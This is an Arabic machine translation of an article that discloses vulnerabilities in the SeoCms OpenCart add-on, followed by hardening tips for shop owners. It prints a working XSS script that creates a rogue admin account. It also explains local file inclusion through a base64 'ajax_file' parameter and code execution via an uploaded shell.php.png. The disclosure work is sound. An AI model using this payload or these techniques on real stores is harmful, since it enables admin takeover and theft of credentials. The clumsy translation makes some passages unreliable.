Opencartforum والأصدقاء

صورة

جميع الكلاب تذهب إلى الجنة ، وجميع أصحاب المتاجر عبر الإنترنت على Opencart ، عاجلاً أم آجلاً على Opencartforum. عندما تمر الحماس من التثبيت الأول للمحرك على الاستضافة وتبدأ الحقيقة القاسية ، يبدأ صاحب المتجر النموذجي دائمًا في تفويت شيء ما ويبدأ الطريق الصعب في العثور على مقاولين مؤهلين وإضافات عالية الجودة لمتجره.

أكبر مورد في Runet ، يمكنك العثور عليهما ، هو opencartforum.com ، الذي يضم اليوم أكثر من 140 ألف مستخدم مسجل. من بين هذه التسجيلات التي يبلغ عددها 140 ألفًا ، نصفهم أشخاص يعيشون في متاجر حية يستخدمون القوالب أو الوحدات النمطية بطريقة أو بأخرى ، والتي يمكن شراؤها على الفور من الموقع. ولا يدرك كل هؤلاء الأشخاص أنهم يكتسبون جنبًا إلى جنب مع الوظائف الإضافية خلفيات ونقاط ضعف رائعة ، لا يستطيع أي متسلل أم أن يحلم بها.

على الرغم من أنه في شكل إعلاني في قواعد نشر الوظائف الإضافية في متجر المنتدى ، فإنه مكتوب بالأبيض والأسود. لدينا qadepartment ، يقوم الأشخاص المدربون خصيصًا بالتحقق من الوظائف الإضافية بحثًا عن نقاط الضعف.

ولا يتحمل أي منتدى ، باعتباره النظام الأساسي الذي يتوسط بين المؤلف والمستخدم النهائي للوظيفة الإضافية ، ولا مؤلفي الوظائف الإضافية ، كما اتضح فيما بعد ، أي مسؤولية.
كيف ذلك؟ و كذلك! على ما يبدو تاريخيا.

من خلال عرض نموذجي للعواقب الافتراضية للحوادث ، والتي سيتم مناقشتها لاحقًا ، يقف شعري على رأسي.

فقط تخيل. أنت صاحب متجر ناجح ، ولم تنم ليلًا منذ عامين ، وكتب نصوصًا ، مقتبسًا باللونين الأسود والأبيض والرمادي ، وحب الباندا ، ومينوسينسك ، ولم تكمل شرابك ، وجذبت 100000 عميل ، واستثمرت في وظائف. أطفالك يذهبون إلى روضة أطفال جيدة ، ثم فجأة انخفضت مبيعاتك بمقدار النصف ، وذلك ببساطة لأن قاعدتك مع جميع جهات الاتصال ذهب العملاء للمنافسين. أو فجأة فقدته تمامًا ، لأنه لمدة شهر الآن يعمل متجرك على خادم mysql لشخص آخر ، ولم تلاحظ حتى تغيير kofig ، وجميع النسخ الاحتياطية على الاستضافة أصبحت سيئة.

لقد عرضوا مشاعرهم في موقف مشابه ، وعملوا ، وعملوا لعدة سنوات ، وفي يوم من الأيام كان كل هذا هباء. أنت تقول ، هذا لا يمكن أن يكون كذلك.

ولكن يمكن أن يكون من السهل جدا. يكفي فقط شراء وظيفة إضافية مع "حماية" غير معلنة للحماية من الاستخدام غير المصرح به ، ويمكن أن تصبح بياناتك غرباء بسرعة!

الحادث الأول


منذ ستة أشهر ، تم إجراء صيانة وقائية سطحية لمتجر واحد عندما أظهر تقرير ماسح Ai-Bol تحذيرًا غريبًا عن رمز غريب في وحدة SeoCms (أكثر من 10000 منشأة نشطة).

بدأنا ننظر عن كثب واتضح أن هذا abracadabra ببساطة يعرض ببساطة نسخة من الإضافة:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10; if ($date_diff > 7) { $ver_content = false; $opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda =>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] )))); $context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage(); } $this->model_setting_setting->editSetting('blog_ver', Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); } if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] = $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end'); } else { $this->data['text_new_version'] = ''; } 

لا بأس إلا أنه:

 $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>" 

لا يتم تصفيته بأي شكل من الأشكال ، وإذا كان من قبيل الصدفة ظهور نص برمجي مثل النص أدناه بدلاً من إصدار العميل ، فإن الوصول إلى المشرف إلى أي متجر حيث تم تثبيت الوحدة النمطية هو مسألة وقت وتقنية.

 <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function​ getUrlVars​()​ {​ v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​ i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​); }​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​ i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​ hash=​​hashes[​​i]​.s​plit​(​"=")​; vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​ }​ r​eturn​vars;​ } var​ url_vars =​ ​ getUrlVars​(); var​ token =​ ​ url_vars.​ ​token​; var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​ document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​, firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​); }); </script> 

يتم وصف تفاصيل الوضع هنا . إشعار الإدارة هنا .

ربما المرة الخامسة ، بعد أن صممت هذه العملية بشكل واضح للغاية لإدارة المنتدى ، كان من الممكن نقل خطورة الوضع.

وأبلغت الإدارة ، بدورها ، المستخدمين رسميًا بوجود هذه الثغرة الأمنية ، ويبدو أنها أصدرت رسالة إخبارية للعملاء. لكن هذا غير دقيق.

دعونا نترك وراء الكواليس تهديدات ومراوغات مؤلف الإضافة ونعود شهرين آخرين ...

الحادث الثاني


متجر آخر يأتي للتفتيش ، حيث توجد أفاريز برية تصل إلى 3-4 ثواني في كل صفحة. نبدأ في تشريح ورؤية في المجلد مع ذاكرة التخزين المؤقت للملفات 20k + مع التمديد .php. ملفات ذاكرة التخزين المؤقت مع امتداد php كارل ، فإنه ليس من قبيل الصدفة!

نحن ننظر إلى بنية البيانات من هذه الملفات ، وهناك مرة أخرى أجزاء من وحدة SEOCMS الجميلة.

وطريقة رائعة:

 protected function ajax_file() { $ajax_file_cached = false; $ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"])); if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { } return $ajax_file_cached; } 

هذا مثال على مشكلة عدم الحصانة الكلاسيكية - تضمين ملف محلي.

يكفي رمز في base64 ../....../config.php و hello - require ($ ajax_file)؛ والرجاء: هنا لديك كلمات المرور من قاعدة البيانات ، وهنا سجل أخطاء النظام ، وإذا كان الأمر كذلك / etc / pwd ضروري للغاية ، على الرغم من أنه لم يكن ذا صلة بالموضوع لفترة طويلة ، حسناً ، ماذا لو؟

وكيف العديد من المضيفين والخوادم مع الإعدادات الافتراضية تألق في عالم phpmyadmin؟ نصف؟ أكثر من ذلك؟

نبدأ في النظر أبعد وماذا نجد؟ الصورة الرمزية الرائعة للتنزيل:

 if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename); // Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file); // To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_IMAGE . $file); $new_filename = $avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original); if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') { $width = $this->data['thislist']['avatar_width']; } else { if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') { $width = $this->data['generallist']['avatar_width']; } else { $width = '100'; } } if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') { $height = $this->data['thislist']['avatar_height']; } else { if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') { $height = $this->data['generallist']['avatar_height']; } else { $height = '100'; } } $this->load->model('tool/image'); $json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false); if (trim($avatar_thumb)=='') { $json['error'] = $this->language->get('error_upload'); } if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file); } } } 

الأمر الذي يقع في الخطأ تمامًا عند محاولة تغيير حجمه (ويوضح لنا المسار الكامل للملف الذي تم تنزيله) ، بعد تحميل نوع من shell.php.png ، ثم يتم تنفيذه أيضًا تمامًا بالطريقة السابقة.

فيديو استغلال الثغرات الأمنية (مع تشغيل إخراج خطأ نظام php):


فيديو استغلال الثغرة الأمنية (مع إيقاف تشغيل خطأ خطأ نظام php):


تم إجراء تحليل الكود على إصدار الوحدة 52 في أبريل 2019.

نظرًا لإخطار كل من مؤلف المنتدى وإدارته في التاريخين نفسهين ، تم تخصيص وقت كافٍ لهما لاتخاذ جميع الإجراءات الممكنة لإخطار المشترين بإزالة الثغرات الأمنية ، وبإمكاننا ، بضمير مرتاح ، الكشف عن جميع التفاصيل.

وفي تلك اللحظة ، حدث شيء ما. على خادم المطور كان وحدته الخاصة. لكن الضعف لا يعمل على ذلك. كانت مغطاة ... وهذا أمر غريب للغاية. كبير جدا !!!

والغريب الثاني من هذه القصة كلها هو أن opencartforum في شخص الإدارة وقسم مراقبة الجودة للوظائف الإضافية لم يروا الحادث الأول أو الثاني ، وفي كلتا الحالتين في الإخطار الأول لم يجد أي شيء حرج.

بالطبع لا يوجد شيء حرج عندما تشرق التكوينات الخاصة بك في العالم. لا يوجد شيء حرج عندما لا يعرف نصف أصحاب المتاجر جيدًا ما يجري تحت الغطاء مع حلم واحد. بعد كل شيء ، لقد قام أحدهم بوضع هذه الإضافة ، وبدون إرسالها بالبريد ، حتى أنهم لا يدركون أن العمل بأكمله يتعرض لتهديد مباشر.

وإذا كان هناك رد فعل واضح من الإدارة بشأن الحادثة الأولى ، فسيتم حذف جميع المشاركات مع الإشارة إليها في الثانية. كل هذا يتم تغطيته بواسطة العرض المقدم من المنتدى ، والذي بموجبه ، فيما يتعلق بالإضافات التجارية ، يمكن ترك التعليقات كما هي عن الموتى - سواء كانت جيدة أو لا شيء.

يدعي المؤلف أيضًا أن الأخطاء والثغرات قد تم إصلاحها ، فقد أخطأت qadepartment الإضافة للبيع ، ولكن لا ، فالثقوب غير مثبتة ...

 protected function ajax_file() { if (!class_exists('PHP_Exceptionizer', false)) { if (function_exists('modification')) { require_once(modification(DIR_SYSTEM . 'library/exceptionizer.php')); } else { require_once(DIR_SYSTEM . 'library/exceptionizer.php'); } } $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ajax_file_cached = false; $filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])), ENT_QUOTES, 'UTF-8')); $ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { ob_start(); require($ajax_file); $ajax_html = ob_get_contents(); ob_end_clean(); header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax'); exit(); } return $ajax_file_cached; } catch (E_WARNING $e) { } } 

تتطلب () لا يزال هنا. يتم تصفية المدخلات قليلاً. لكن LFI المحتملة على حد سواء عاش وحياة. إذا كان أكثر من ذلك بقليل ، ثم نعم ، الآن لا يمكننا تحميل أو تنفيذ قذيفة. لكن لنفترض أننا جربنا وأغلقنا وعززنا تنفيذ أي نصوص باستثناء index.php ، وحتى على مستوى التكوين nginx ، والذي لا يمكن الوصول إليه بأي حال من الأحوال. ولكن في مكان آخر ، حصل المتسلل الشرير على فرصة لوضع ملف تعسفي في مجلد ذاكرة التخزين المؤقت. ماذا سيحدث؟ هذا صحيح - لتنفيذ شفرة غريبة ، وتوليد تجزئة في طلب الحصول على ، يستغرق دقيقتين. هذا هو ، في النهاية ، يبدو أنه يشبه الإغلاق ، لكن يبدو أنه ليس تمامًا.

حسنًا ، الأشياء الصغيرة: كيف تشرق هذه العلاقات الرائعة في ملفات اللغة:

 if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) { $_['value_revres'] = HTTPS_SERVER; $_['value_ctlg'] = HTTPS_CATALOG; } else { $_['value_revres'] = HTTP_SERVER; $_['value_ctlg'] = HTTP_CATALOG; } 

وهم يلمعون ... أنت تريد أن تعرف المسار الكامل لجذر المشروع. ما عليك سوى العثور على المتجر مع تشغيل عرض الخطأ وتشغيل الرابط مباشرة إلى ملف اللغة.

لدراسة ما يمكن أن يكون بعد تحديث الوظيفة الإضافية بالميغابايت من سطور شفرة المؤلف - لا توجد موارد ولا رغبة. هناك أشخاص مسؤولين مدربين تدريبا خاصا لهذا الغرض.

والكرز على الكعكة. نتذكر ، لدينا وظيفة إضافية تجارية ... وفي وظيفة إضافية تجارية ، قمنا بإخفاء نص على مورد المؤلف:
www.google.com/search؟q=٪22Powered+by+SEO+CMS٪22

ومن المثير للاهتمام ، أن أحد المشترين الإضافيين على الأقل يعلم بوجود بيضة عيد الفصح "الرائعة"؟

اليوم ، يتم بيع الملحق وبيعه على حد سواء. يتم حذف المشاركات التي تحتوي على مكالمات لتوجيه الانتباه إلى الموقف. لم يتلق أي من المشترين إخطارات تحذير حول الحادث الثاني. ربما قام 20-30٪ من المستخدمين الإضافيين بالتحديث ، لكن 70٪ - حتى لو كنا نتحدث عن إحصائيات المؤلف الرسمية حول استخدام الإضافات ، فهذه 7000 متجر (في الواقع ، أكثر - لأنه لا أحد يعرف عدد النسخ التي تم تثبيتها بواسطة المستقلين في متاجر العملاء رخصة ممتدة) في منطقة خطر كبيرة.

على حد تعبير البارون مونشاوسين ، أود أن أقول شيئًا واحدًا فقط: السادة المحدثون!

للعملاء


ما يجب القيام به ، أولئك الذين انتهوا في هذه الغواصة الغارقة:

  • لا تترك القمامة على بروتوكول نقل الملفات. عرض info.php و adminer.php وجميع المهملات الأخرى. يجب أن يكون لديك index.php ونقطة فقط.
  • قم بتغيير كلمات المرور بانتظام ، وكل كلمات المرور (بروتوكول نقل الملفات ، لوحة المسؤول ، قاعدة البيانات). وتأكد من عدم وجود حسابات غريبة إضافية عن طريق الخطأ.
  • تعطيل إخراج الخطأ. دائمًا ، إذا كنت لا تعمل ، فقم بإيقاف تشغيل إخراج الخطأ على مستوى تكوين المترجم الفوري وليس في إعدادات المتجر.
  • نعم ، أعلم أن هذا ليس ممكنًا للغاية ، ولكن يجب عليك على الأقل مواكبة التحديثات الخاصة برمز المحرك المتعلقة بالأمان ، ومن الناحية المثالية ، يتم تحديث المحرك بانتظام إلى إصدارات مستقرة.
  • إلقاء نظرة منتظمة على سجلات الزيارات ، يمكن أن يكون هناك الكثير من الأشياء المثيرة للاهتمام. تتبع الحالات الشاذة.
  • أغلق بالإضافة إلى ذلك بكلمة مرور أو تقييد على مسؤول IP الخاص بالمخزن والمقاطع الضعيفة المختلفة ، مثل phpmyadmin. إذا كانت هذه مشاركة تشترك فيها phpmyadmin بين الجميع ، فاهرب من هذا الاستضافة!
  • إذا كنت تستخدم sxd وأدوات مساعدة مشابهة ، فقم بإعادة تسميتها فورًا إلى مجموعة أحرف عشوائية.
  • عند استخدام nginx ، يجدر إضافة قواعد إلى تهيئة المضيف الظاهري التي تحظر تشغيل أي برامج نصية php بخلاف index.php في أقسام الجذر والمسؤول في الموقع.
  • لا ترمي النفايات من حسابك. إذا كان لديك متجر ، فليكن المتجر. لا تحمِّل ضمن حساب واحد مجموعة من مدونات wp ومجموعة من الأخطاء ومجالات اختبار مختلفة.
  • لا تقم أبدًا بتخزين النسخ الاحتياطية لموقع أو قاعدة بيانات في جذر المضيف الظاهري.
  • شاهد الحمل على الخادم / الاستضافة ، وحاول الحفاظ على الإمداد x2 على الأقل من أحمال الذروة ، وإذا زاد الحمل فجأة دون سبب ، فحاول معرفة السبب. الأفضل أن تتفوق على عدم تجاوزها!

Source: https://habr.com/ru/post/ar466283/


All Articles